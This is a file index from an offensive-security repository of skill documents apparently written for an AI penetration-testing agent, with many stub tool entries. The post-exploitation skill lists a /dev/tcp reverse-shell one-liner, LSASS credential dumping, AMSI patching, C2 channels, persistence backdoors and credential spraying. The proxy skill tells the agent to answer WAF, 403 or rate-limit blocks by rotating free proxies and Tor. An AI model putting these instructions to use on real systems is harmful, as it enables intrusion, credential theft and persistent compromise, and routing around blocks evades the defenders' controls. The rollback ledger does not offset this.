links、confidence、与多代理协调落库。Use when managing project facts, blackboard index, writing evidence, or avoiding context-loss after compression.","metadata":{"tags":["渗透测试","penetration-testing","红队","项目黑板"]}},"isInternal":false,"tokens":2626,"sizeBytes":7290},{"name":"SKILL.md","path":"skills/pentest-output-standards/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/pentest-output-standards/SKILL.md","title":"pentest-output-standards","category":"anthropic-skill","format":"markdown","content":"---\nname: pentest-output-standards\ndescription: >-\n  输出规范:中文分析,思维链,漏洞报告模板,负结果,黑板状态总览,改动台账,死锁突破。\n  Use when reporting findings, maintaining change ledger, or formatting pentest output.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 输出规范\n\n```\n语言: 所有分析/推理/报告用中文,工具命令和代码用英文,CVE编号保留英文。\n每步思维链: 当前模式(单代理/deep/plan_execute/supervisor) + 已读黑板要点 + 决策推理 + 执行 + 结果摘要\n  + 是否已 upsert_project_fact / record_vulnerability。\n漏洞报告(每个已验证 Fact/可交付项): 漏洞名+严重程度+影响版本+利用条件+利用步骤(请求/响应)+验证证据(✓实际输出)+影响+修复建议。\n  → 同步 record_vulnerability；复现上下文另 upsert finding/chain/exploit/poc Fact。\n负结果: 测试方法+结果+排除原因 → upsert 负结果 Fact，避免重复打点。\n图状态总览(每轮结束): list/search_project_facts 摘要 + 当前进度 + 下一步；勿臆造未 get 的 body。\n🚨改动台账(每处写入型改动实时记账,清不清交用户): #|时间|主机|类型|位置|内容|回滚命令\n  类型:webshell/新建账户/改配置/持久化/权限改动(DCSync/RBCD/影子凭据)/申请凭据/数据库改动/网络改动\n  改配置前先备份.bak把路径写进台账 | 交付输出完整台账+一键回滚脚本(逆序生成),系统绝不擅自清理。\n  可选: note/change-* Fact 固化台账条目。\n死锁突破(连续多轮负结果且无新攻击面): 强制 list/search_project_facts 重审 → 换域/深度狩猎 → 向用户请求澄清或授权边界。\n```\n","frontmatter":{"name":"pentest-output-standards","description":"输出规范:中文分析,思维链,漏洞报告模板,负结果,黑板状态总览,改动台账,死锁突破。 Use when reporting findings, maintaining change ledger, or formatting pentest output.","metadata":{"tags":["渗透测试","penetration-testing","红队"]}},"isInternal":false,"tokens":623,"sizeBytes":1732},{"name":"SKILL.md","path":"skills/pentest-verification/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/pentest-verification/SKILL.md","title":"pentest-verification","category":"anthropic-skill","format":"markdown","content":"---\nname: pentest-verification\ndescription: >-\n  验证铁律:搜索≠漏洞,confirmed Fact须证据,tentative表线索,禁止空泛推测,负结果也落库,\n  想象力拉满+单步验证零容忍。Use when writing project facts, validating findings, or avoiding hallucination.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 验证铁律（全系统最高规则，违反即幻觉）\n\n```\n1. 搜索结果 ≠ 漏洞。公开情报/PoC线索不可直接 record_vulnerability，也不可写 confidence=confirmed；\n   可写 tentative 的 note/finding 线索，或只留本轮待验证方向，验证后再落库。\n2. 每个 confirmed Fact 必须在 body（或关联漏洞 POC）附验证证据:命令输出/HTTP响应/文件内容/回连记录。\n3. 禁止\"可能/疑似/推测XX\" —— 要么确认+证据写 Fact/漏洞，要么 tentative 标明线索，要么不报。\n4. 验证失败 → 写负结果 Fact(\"测了XX,无可利用漏洞\")，用 upsert_project_fact 落库，防止重复尝试。\n5. 想象力拉满(敢想全网没人串过的链),单步验证零容忍(每段用真实证据钉死后再 confirmed)。\n```\n\n与黑板工具对齐见 `pentest-blackboard`。\n","frontmatter":{"name":"pentest-verification","description":"验证铁律:搜索≠漏洞,confirmed Fact须证据,tentative表线索,禁止空泛推测,负结果也落库, 想象力拉满+单步验证零容忍。Use when writing project facts, validating findings, or avoiding hallucination.","metadata":{"tags":["渗透测试","penetration-testing","红队"]}},"isInternal":false,"tokens":428,"sizeBytes":1200},{"name":"SKILL.md","path":"skills/post-exploitation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/post-exploitation/SKILL.md","title":"post-exploitation","category":"anthropic-skill","format":"markdown","content":"---\nname: post-exploitation\ndescription: >-\n  后渗透/提权+凭据破解+密码学:反弹shell,Linux/Windows提权,横向,隧道,免杀,C2持久化,hashcat/Padding Oracle/hash长度扩展。Use when post-exploitation, privilege escalation, lateral movement, or cracking crypto.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 后渗透 / 提权 / 凭据破解 / 密码学\n\n```\n=== 后渗透/提权 ===\n反弹shell: bash -i >& /dev/tcp/IP/4444 0>&1 | OpenSSL加密绕IDS | PTY: python3 -c 'import pty;pty.spawn(\"/bin/bash\")'\nLinux提权: sudo -l;SUID(GTFOBins);getcap;cron;可写文件 | LinPEAS/pspy | cap_setuid/Docker组/LD_PRELOAD\nWindows提权: PrintSpoofer/GodPotato(SeImpersonate) | 服务错配/AlwaysInstallElevated | procdump LSASS→Mimikatz | winPEAS\n横向: PtH crackmapexec/wmiexec | SSH密钥收割 | 凭据位置 .bash_history/.my.cnf/.netrc/.git-credentials\n🚨RDP凭据确认(密码正确但RDP未启用): hydra报\"account might be valid but not active for remote desktop\" + impacket rdp_check返回\"Connection reset by peer\"(而非\"Access Denied\")= 密码正确但账户无RDP权限。\n  验证: 先用已知错误密码测rdp_check得到\"Access Denied\"作基线,目标密码返回reset=确认。确认后用同凭据喷其他服务(FTP/SMB/MySQL/BT Panel/SSH/Web后台)。\n隧道: ssh -L/-D/-J | chisel反向SOCKS | ligolo-ng | 容器逃逸:特权容器chroot/CAP_SYS_ADMIN/docker.sock/runc CVE\n免杀: Linux DDexec内存执行/memfd | Windows AMSI修补/直接syscall(SysWhispers3)/Donut/Sliver/Havoc\nC2/持久化技术清单: Beacon(长睡眠+jitter低调) vs 交互式shell(打点快但吵) | 信道 HTTPS/DNS隧道/域前置(Domain Fronting)/CDN前置/合法云(Slack/Telegram/GitHub当C2)\n  Linux持久化: cron/systemd timer/SSH authorized_keys/PAM后门/LD_PRELOAD/.bashrc/rc.local/恶意内核模块\n  Windows持久化: 注册表Run键/计划任务/服务/WMI事件订阅(无文件)/启动文件夹/DLL劫持/COM劫持/快捷方式 | 每处持久化都进 `pentest-output-standards` 台账可回滚\n\n=== 凭据破解 + 密码学攻击 ===\nhash破解: hashcat -m <mode> hash wordlist -r rules/best64.rule | 识别 hashid/hash-identifier | 常用mode 0(MD5)/100(SHA1)/1000(NTLM)/1800(sha512crypt)/3200(bcrypt)/13100(Kerberoast TGS)/18200(AS-REP)/22000(WPA)/16500(JWT)\n  策略: 先字典(rockyou)+规则(best64/dive)→掩码爆破?d?d?d?d→组合攻击 | john --format= 兜底 | 在线彩虹表 crackstation先查\n密码学攻击(不用爆破直接破): Padding Oracle(padbuster解密/伪造CBC密文) | ECB字节翻转(分块猜) | hash长度扩展(hashpump伪造签名,服务端 hash(secret+data)校验) | 弱IV/固定nonce复用(异或还原明文) | RSA小e/共模/Wiener小d(RsaCtfTool) | JWT alg混淆见 `web-attack-methods` 认证授权\n```\n","frontmatter":{"name":"post-exploitation","description":"后渗透/提权+凭据破解+密码学:反弹shell,Linux/Windows提权,横向,隧道,免杀,C2持久化,hashcat/Padding Oracle/hash长度扩展。Use when post-exploitation, privilege escalation, lateral movement, or cracking crypto.","metadata":{"tags":["渗透测试","penetration-testing","红队"]}},"isInternal":false,"tokens":1058,"sizeBytes":2802},{"name":"SKILL.md","path":"skills/proxy-tool-bootstrap/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/proxy-tool-bootstrap/SKILL.md","title":"proxy-tool-bootstrap","category":"anthropic-skill","format":"markdown","content":"---\nname: proxy-tool-bootstrap\ndescription: >-\n  自找代理+工具自举:SOCKS5/HTTP/Tor换路序列,工具Python自举,字典自生成,OOB基础设施。Use when blocked by 403/429/WAF/timeout, missing tools, or needing OOB confirmation.\nmetadata:\n  tags: [渗透测试, penetration-testing, 红队]\n---\n\n## 自找代理 + 工具自举（被拦换路，没工具自己写）\n\n```\n🔴代理(收到拒绝/限流/超时 → 第一反应不是重试,是换路。不换路=放弃=违反黑板触发器2（见 `pentest-blackboard`）):\n  执行序列(按顺序,前一步失败才下一步):\n  ①探目标地区: terminal: curl -s \"http://ip-api.com/json/{目标IP}\" | python3 -c \"import sys,json;d=json.load(sys.stdin);print(d['country'],d['countryCode'])\"\n  ②获取该地区SOCKS5代理: terminal: curl -s \"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&country={countryCode}&timeout=5000\" | head -20\n  ③验证代理可达目标: terminal: curl --socks5 {PROXY_IP:PORT} --connect-timeout 8 -s -o /dev/null -w \"%{http_code}\" {目标URL}\n  ④200=可用,立即用此代理重新执行被拦请求; 非200=换下一个代理重复③\n  ⑤全部SOCKS5失败→获取HTTP代理: terminal: curl -s \"https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&country={countryCode}&timeout=5000\" | head -20\n  ⑥HTTP代理验证: terminal: curl --proxy http://{PROXY_IP:PORT} --connect-timeout 8 -s -o /dev/null -w \"%{http_code}\" {目标URL}\n  ⑦全代理失败→Tor: terminal: curl --socks5 127.0.0.1:9050 --connect-timeout 15 {目标URL}\n  工具统一加代理参数: curl --socks5 / sqlmap --proxy=socks5://{P} / nmap --proxies socks5://{P} / nuclei -proxy socks5://{P} / ffuf -x socks5://{P}\n  轮换策略: 429/403→立即换下一个代理,每20请求主动换(避免新IP也被ban) | Cloudflare→代理池+请求间隔2-5s随机\n  🚨HTTP代理vs SOCKS5: HTTP代理会插入自己的错误页(502/无法显示此页)导致无法区分目标实际响应→需探测时必须用SOCKS5(--socks5)\n    ProxyScrape SOCKS5: https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&country=CN,JP&timeout=5000\n    验证SOCKS5: curl --socks5 IP:PORT --connect-timeout 5 目标 | HTTP代理只适合已确认可达的目标做匿名/轮换\n工具自举(which X || 用Python实现):\n  无nmap→socket扫端口 | 无ffuf→requests爆目录 | 无sqlmap→手工payload检测 | 无hydra→requests爆破 | 无nuclei→requests打已知payload\n  复杂工具用Python模拟:爬虫requests+bs4 / 编码base64/hex / 哈希hashlib / 加密pycryptodome / 嗅探scapy\n字典自生成: 基于目标域名/公司名造变体 | 从网页提关键词 | 用户名+年份+特殊字符组合 | 服务默认凭据\nOOB基础设施(盲漏洞都靠它): interactsh-client拿oast.fun域名 | 或VPS python3 -m http.server/nc看回连 | ngrok/cloudflared隧道\n  → 看到OOB回连(DNS查询/HTTP请求)才算确认 → 写Fact\n```\n\n","frontmatter":{"name":"proxy-tool-bootstrap","description":"自找代理+工具自举:SOCKS5/HTTP/Tor换路序列,工具Python自举,字典自生成,OOB基础设施。Use when blocked by 403/429/WAF/timeout, missing tools, or needing OOB confirmation.","metadata":{"tags":["渗透测试","penetration-testing","红队"]}},"isInternal":false,"tokens":1107,"sizeBytes":2961},{"name":"README.md","path":"skills/README.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/README.md","title":"Skills Skill","category":"anthropic-skill","format":"markdown","content":"# Skills Skill\n\nPath: `skills/README.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/README.md)","tokens":300,"sizeBytes":149},{"name":"SKILL.md","path":"skills/redteam-opsec/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/redteam-opsec/SKILL.md","title":"redteam-opsec","category":"anthropic-skill","format":"markdown","content":"# redteam-opsec\n\nPath: `skills/redteam-opsec/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/redteam-opsec/SKILL.md)","tokens":300,"sizeBytes":176},{"name":"SKILL.md","path":"skills/source-code-hunting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/source-code-hunting/SKILL.md","title":"source-code-hunting","category":"anthropic-skill","format":"markdown","content":"# source-code-hunting\n\nPath: `skills/source-code-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/source-code-hunting/SKILL.md)","tokens":300,"sizeBytes":194},{"name":"SKILL.md","path":"skills/specialized-attack-playbooks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/specialized-attack-playbooks/SKILL.md","title":"specialized-attack-playbooks","category":"anthropic-skill","format":"markdown","content":"# specialized-attack-playbooks\n\nPath: `skills/specialized-attack-playbooks/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/specialized-attack-playbooks/SKILL.md)","tokens":300,"sizeBytes":221},{"name":"SKILL.md","path":"skills/unlimited-attack-scope/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/unlimited-attack-scope/SKILL.md","title":"unlimited-attack-scope","category":"anthropic-skill","format":"markdown","content":"# unlimited-attack-scope\n\nPath: `skills/unlimited-attack-scope/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/unlimited-attack-scope/SKILL.md)","tokens":300,"sizeBytes":203},{"name":"SKILL.md","path":"skills/web-attack-methods/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/web-attack-methods/SKILL.md","title":"web-attack-methods","category":"anthropic-skill","format":"markdown","content":"# web-attack-methods\n\nPath: `skills/web-attack-methods/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/web-attack-methods/SKILL.md)","tokens":300,"sizeBytes":191},{"name":"SKILL.md","path":"skills/wireless-hardware-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/wireless-hardware-attack/SKILL.md","title":"wireless-hardware-attack","category":"anthropic-skill","format":"markdown","content":"# wireless-hardware-attack\n\nPath: `skills/wireless-hardware-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/wireless-hardware-attack/SKILL.md)","tokens":300,"sizeBytes":209},{"name":"SKILL.md","path":"skills/zero-day-discovery/SKILL.md","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/zero-day-discovery/SKILL.md","title":"zero-day-discovery","category":"anthropic-skill","format":"markdown","content":"# zero-day-discovery\n\nPath: `skills/zero-day-discovery/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/skills/zero-day-discovery/SKILL.md)","tokens":300,"sizeBytes":191},{"name":"amass.yaml","path":"tools/amass.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/amass.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/amass.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/amass.yaml)","tokens":300,"sizeBytes":148},{"name":"angr.yaml","path":"tools/angr.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/angr.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/angr.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/angr.yaml)","tokens":300,"sizeBytes":146},{"name":"api-schema-analyzer.yaml","path":"tools/api-schema-analyzer.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/api-schema-analyzer.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/api-schema-analyzer.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/api-schema-analyzer.yaml)","tokens":300,"sizeBytes":176},{"name":"arjun.yaml","path":"tools/arjun.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/arjun.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/arjun.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/arjun.yaml)","tokens":300,"sizeBytes":148},{"name":"arp-scan.yaml","path":"tools/arp-scan.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/arp-scan.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/arp-scan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/arp-scan.yaml)","tokens":300,"sizeBytes":154},{"name":"binwalk.yaml","path":"tools/binwalk.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/binwalk.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/binwalk.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/binwalk.yaml)","tokens":300,"sizeBytes":152},{"name":"bloodhound.yaml","path":"tools/bloodhound.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/bloodhound.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/bloodhound.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/bloodhound.yaml)","tokens":300,"sizeBytes":158},{"name":"checkov.yaml","path":"tools/checkov.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/checkov.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/checkov.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/checkov.yaml)","tokens":300,"sizeBytes":152},{"name":"checksec.yaml","path":"tools/checksec.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/checksec.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/checksec.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/checksec.yaml)","tokens":300,"sizeBytes":154},{"name":"clair.yaml","path":"tools/clair.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/clair.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/clair.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/clair.yaml)","tokens":300,"sizeBytes":148},{"name":"cloudmapper.yaml","path":"tools/cloudmapper.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/cloudmapper.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/cloudmapper.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/cloudmapper.yaml)","tokens":300,"sizeBytes":160},{"name":"dalfox.yaml","path":"tools/dalfox.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dalfox.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/dalfox.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dalfox.yaml)","tokens":300,"sizeBytes":150},{"name":"dirsearch.yaml","path":"tools/dirsearch.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dirsearch.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/dirsearch.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dirsearch.yaml)","tokens":300,"sizeBytes":156},{"name":"dnsenum.yaml","path":"tools/dnsenum.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dnsenum.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/dnsenum.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dnsenum.yaml)","tokens":300,"sizeBytes":152},{"name":"dnslog.yaml","path":"tools/dnslog.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dnslog.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/dnslog.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dnslog.yaml)","tokens":300,"sizeBytes":150},{"name":"dotdotpwn.yaml","path":"tools/dotdotpwn.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dotdotpwn.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/dotdotpwn.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/dotdotpwn.yaml)","tokens":300,"sizeBytes":156},{"name":"enum4linux-ng.yaml","path":"tools/enum4linux-ng.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/enum4linux-ng.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/enum4linux-ng.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/enum4linux-ng.yaml)","tokens":300,"sizeBytes":164},{"name":"exec.yaml","path":"tools/exec.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/exec.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/exec.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/exec.yaml)","tokens":300,"sizeBytes":146},{"name":"execute-python-script.yaml","path":"tools/execute-python-script.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/execute-python-script.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/execute-python-script.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/execute-python-script.yaml)","tokens":300,"sizeBytes":180},{"name":"exiftool.yaml","path":"tools/exiftool.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/exiftool.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/exiftool.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/exiftool.yaml)","tokens":300,"sizeBytes":154},{"name":"falco.yaml","path":"tools/falco.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/falco.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/falco.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/falco.yaml)","tokens":300,"sizeBytes":148},{"name":"feroxbuster.yaml","path":"tools/feroxbuster.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/feroxbuster.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/feroxbuster.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/feroxbuster.yaml)","tokens":300,"sizeBytes":160},{"name":"ffuf.yaml","path":"tools/ffuf.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ffuf.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/ffuf.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ffuf.yaml)","tokens":300,"sizeBytes":146},{"name":"fierce.yaml","path":"tools/fierce.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/fierce.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/fierce.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/fierce.yaml)","tokens":300,"sizeBytes":150},{"name":"fofa_search.yaml","path":"tools/fofa_search.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/fofa_search.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/fofa_search.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/fofa_search.yaml)","tokens":300,"sizeBytes":160},{"name":"foremost.yaml","path":"tools/foremost.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/foremost.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/foremost.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/foremost.yaml)","tokens":300,"sizeBytes":154},{"name":"fscan.yaml","path":"tools/fscan.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/fscan.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/fscan.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/fscan.yaml)","tokens":300,"sizeBytes":148},{"name":"gau.yaml","path":"tools/gau.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/gau.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/gau.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/gau.yaml)","tokens":300,"sizeBytes":144},{"name":"gdb.yaml","path":"tools/gdb.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/gdb.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/gdb.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/gdb.yaml)","tokens":300,"sizeBytes":144},{"name":"ghidra.yaml","path":"tools/ghidra.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ghidra.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/ghidra.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/ghidra.yaml)","tokens":300,"sizeBytes":150},{"name":"gobuster.yaml","path":"tools/gobuster.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/gobuster.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/gobuster.yaml`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/gobuster.yaml)","tokens":300,"sizeBytes":154},{"name":"graphql-scanner.yaml","path":"tools/graphql-scanner.yaml","rawUrl":"https://raw.githubusercontent.com/Ed1s0nZ/CyberStrikeAI/HEAD/tools/graphql-scanner.yaml","title":"Tools Skill","category":"anthropic-skill","format":"yaml","content":"# Tools Skill\n\nPath: `tools/graphql-scanner.yaml`\n\n[View Raw Content on 